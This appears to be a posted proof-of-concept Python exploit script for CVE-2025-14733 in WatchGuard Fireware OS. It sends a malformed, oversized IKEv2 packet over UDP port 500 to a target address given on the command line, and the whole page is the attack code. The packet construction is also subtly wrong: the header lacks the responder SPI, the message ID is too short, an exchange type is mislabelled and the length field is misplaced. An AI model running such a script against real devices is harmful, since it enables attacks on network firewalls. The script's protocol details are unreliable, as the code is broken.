CVE-2025-14733 WatchGuard Fireware OS IKEv2 Out-of-bounds Write远程代码执行漏洞

# CVE-2025-14733 WatchGuard Fireware OS IKEv2 Out-of-bounds Write PoC # This PoC demonstrates sending a malformed IKEv2 packet to trigger the vulnerability # Note: This is for educational and authorized testing purposes only import socket import struct import os def create_ikev2_payload(): """Create a malformed IKEv2 packet to trigger out-of-bounds write""" # IKEv2 Header # SPI (8 bytes) + Next Payload (1 byte) + Major Version (4 bits) + Minor Version (4 bits) + Exchange Type (1 byte) # Flags (1 byte) + Message ID (2 bytes) + Length (4 bytes) ikev2_header = b'\x00' * 8 # Initiator SPI ikev2_header += b'\x21' # Next Payload: Security Association ikev2_header += b'\x20' # Version: IKEv2 ikev2_header += b'\x02' # Exchange Type: IKE_SA_INIT ikev2_header += b'\x08' # Flags ikev2_header += b'\x00\x00' # Message ID # Malformed payload with oversized data to trigger OOB write malformed_data = b'\x00' * 1400 # Large payload to overflow buffer packet = ikev2_header + malformed_data # Update length field length = struct.pack('>I', len(packet)) packet = packet[:28] + length + packet[32:] return packet def send_exploit(target_ip, target_port=500): """Send the exploit packet to target WatchGuard device""" packet = create_ikev2_payload() sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(5) try: print(f"[*] Sending IKEv2 exploit packet to {target_ip}:{target_port}") sock.sendto(packet, (target_ip, target_port)) print("[+] Packet sent successfully") # Try to receive response try: data, addr = sock.recvfrom(4096) print(f"[+] Received response from {addr}: {data.hex()}") except socket.timeout: print("[-] No response received (possible vulnerability trigger)") except Exception as e: print(f"[-] Error: {e}") finally: sock.close() if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python cve-2025-14733-poc.py <target_ip>") sys.exit(1) target = sys.argv[1] send_exploit(target)